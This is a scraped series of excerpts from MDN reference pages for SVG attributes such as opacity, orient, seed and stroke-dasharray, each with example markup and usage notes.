only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="spotlight1" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="...
...2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="40" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'limitingconeangle' in that specification.
marker-end - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker...
...-end="url(#triangle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the final vertex.
marker-start - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker...
...-start="url(#triangle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the first vertex.
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
only one element is using this attribute: <feblend> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="blending1" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//develo...
...per.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#blending1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#blending2); transform:translatex(220px);"/> </svg> usage notes value <blend-mode> default value normal animatable yes for a description of the values, see <blend-mode>.
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
as a presentation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect x="0" y="0" width="100%" height="100%" fill="url(#gradient)" /> <circle cx="50" cy="50" r="40" fill="black" /> <circl...
...e cx="150" cy="50" r="40" fill="black" opacity="0.3" /> </svg> usage notes default value 1 value <alpha-value> animatable yes <alpha-value> the uniform opacity setting to be applied across an entire object, as a <number>.
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#...
...emboss2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 3 animatable yes <number-optional-number> this value indicates the number of cells in each dimension for the kernel matrix.
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> ...
... <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
paint-order - SVG: Scalable Vector Graphics
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-we...
...ight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved via the following css property: #stroke-under { paint-order: stroke; } specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
pathLength - SVG: Scalable Vector Graphics
seven elements are using this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used.
... in that case, 100 user units --> <path d="m 0,10 h100"/> <!-- compute everything like if the path length was 90 user units long --> <path d="m 0,20 h100" pathlength="90"/> <!-- compute everything like if the path length was 50 user units long --> <path d="m 0,30 h100" pathlength="50"/> <!-- compute everything like if the path length was 30 user units long --> <path d="m 0,40 h100" pathlength="30"/> <!-- compute everything like if the path length was 10 user units long --> <path d="m 0,50 h100" pathlength="10"/> </svg> circle for <circle>, pathlength lets authors specify a total length for the circle, in user units.
pointsAtX - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="...
...200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatx' in that specification.
pointsAtY - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="...
...200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsaty' in that specification.
pointsAtZ - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="...
...50" pointsatz="80" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatz' in that specification.
preserveAlpha - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457...
.../mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value true | false animatable yes true this value indicates that the convolution will only apply to the color channels.
r - SVG: Scalable Vector Graphics
WebSVGAttributer
two elements are using this attribute: <circle>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient r="0" id="mygradient000"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="50%" id="mygradient050"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> ...
... <rect x="20" y="120" width="60" height="60" fill="url(#mygradient000)" /> <rect x="120" y="120" width="60" height="60" fill="url(#mygradient050)" /> <rect x="220" y="120" width="60" height="60" fill="url(#mygradient100)" /> </svg> circle for <circle>, r defines the radius of the circle and therefor its size.
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document...
....getelementbyid("restart").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(element => { element.beginelement(); }); }); usage notes value always | whennotactive | never default value always animatable no always this value indicates that the animation can be restarted at any time.
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilte...
...r)"/> </svg> usage notes value <filter-primitive-reference> default value none animatable yes <filter-primitive-reference> this value is a <custom-ident> and defines the name for the filter primitive.
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctav...
...es="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50"/> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#displacementfilter);""/> <circle cx="100" cy="100" r="80" style="filter: url(#displacementfilter2); transform: translatex(240px);""/> </svg> usage notes value <number> default value none animatable yes <number> this value defines the scale factor for the displacement.
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default va...
...lue 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
specularConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="specularlighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </...
...filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularconstant' in that specification.
specularExponent - SVG: Scalable Vector Graphics
two elements are using this attribute: <fespecularlighting> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: u...
...rl(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, specularexponent defines the exponent value for the specular term.
startOffset - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1" startoffset="0"> quick brown fox jumps over the lazy dog.
... </textpath> </text> <text> <textpath href="#path2" startoffset="40"> quick brown fox jumps over the lazy dog.
stdDeviation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fegaussianblur> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur3); transform:...
... translatex(280px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numbers are provided, the first number represents a standard deviation value along the x-axis.
stitchTiles - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: tra...
...nslate(0, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(220px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(320px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(220px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(320px, 100px);" /> </svg> usage notes value nostitch | stitch default value nostitch animatable yes nostitch this value indicates that no attempt is made to achieve smooth transitions ...
stroke-dasharray - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element, but it only has effect on the following twelve elements: <altglyph> <circle> <ellipse> <path> <line> <polygon> <polyline> <rect> <text> <textpath> <tref> <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dashes nor gaps --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- dashes and gaps of the same size --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="4" /> <!-- dashes and gaps of different sizes --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="4 1" /> ...
... <!-- dashes and gaps of various sizes with an odd number of values --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="4 1 2" /> <!-- dashes and gaps of various sizes with an even number of values --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="4 1 2 3" /> </svg> usage notes value none | <dasharray> default value none animatable yes <dasharray> a list of comma and/or white space separated <length>s and <percentage>s that specify the lengths of alternating dashes and gaps.
stroke-dashoffset - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dash array --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- no dash offset --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="3 1" /> <!-- the start of the dash array computation is pulled by 3 user units --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dashar...
...ray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the start of the dash array computation is pulled by 1 user units which ends up in the same rendering as the previous example --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="1" /> <!-- the following red lines highlight the offset of the dash array for each line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | <length> default value 0 animatable yes t...
stroke-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke opacity: 1 --> <circle cx="5" cy="5" r="4" stroke="green" /> <!-- stroke opacity as a number --> <circle cx="15" cy="5" r="4" stroke="green" stroke-opacity="0.7" /> <!-- stroke opacity as a percentage --> <circle cx="25" cy="5" r="4" stroke="green" stroke-opacity="50%" /> <!-- stroke opacity as ...
...a css property --> <circle cx="35" cy="5" r="4" stroke="green" style="stroke-opacity: .3;" /> </svg> usage notes value [0-1] | <percentage> default value 1 animatable yes note: svg2 introduces percentage values for stroke-opacity, however, it is not widely supported yet (see browser compatibility below) as a consequence, it is best practices to set opacity with a value in the range [0-1].
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- simple color stroke --> <circle cx="5" cy="5" r="4" fill="none" stroke="green" /> <!-- stroke a circle with a gradient --> <defs> <lineargradient id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" ...
...fill="none" stroke="url(#mygradient)" /> </svg> usage notes value <paint> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke' in that specification.
surfaceScale - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> ...
... <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, surfacescale defines the height of the surface.
tableValues - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalue...
...s="0 1"/> <fefuncb type="table" tablevalues="0 1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="1 0"/> <fefuncg type="table" tablevalues="1 0"/> <fefuncb type="table" tablevalues="1 0"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer animatable yes...
text-anchor - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,15 l60,110 m30,40 l90,40 m30,75 l90,75 m30,110 l90,110" stroke="grey" /> <!-- anchors in action --> <text text-anchor="start" x="60" y="40">a</text> <text text-anchor="middle" x="60" y="75">a</text> <text text-anchor="end" x="60" y="110">a</text> <!-- materialisation of anchors --> <...
...circle cx="60" cy="40" r="3" fill="red" /> <circle cx="60" cy="75" r="3" fill="red" /> <circle cx="60" cy="110" r="3" fill="red" /> <style><![cdata[ text { font: bold 36px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> usage notes default value start value start | middle | end animatable yes start the rendered characters are aligned such that the start of the text string is at the initial current text position.
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
for example, if unicode="ffl", then the given glyph will be used to render the sequence of characters "f", "f", and "l".
...for example, unicode="ffl" could be expressed as xml character references in hexadecimal notation as unicode="&#x66;&#x66;&#x6c;" or in decimal notation as unicode="&#102;&#102;&#108;".
vector-effect - SVG: Scalable Vector Graphics
example example: vector-effect="non-scaling-stroke" <svg viewbox="0 0 500 240"> <!-- normal --> <path d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- scaled --> <path transform="translate(100,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- fixed--> <path vector-effect="non-scaling-stroke" transform="translate(300,0)scale(...
...4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'vector-effect' in that specification.
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" ...
... scale="30" xchannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
xml:space - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg viewbox="0 0 140 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" xml:space="default">default spacing</text> <text y="40" xml:space="preserve">preserved spacing</text> </svg> usage notes value default | preserve default value default animatable no default with this value set, whitespace characters will be processed in this order: all newl...
... for example, the string "a b" (three spaces between "a" and "b") separates "a" and "b" more than "a b" (one space between "a" and "b").
yChannelSelector - SVG: Scalable Vector Graphics
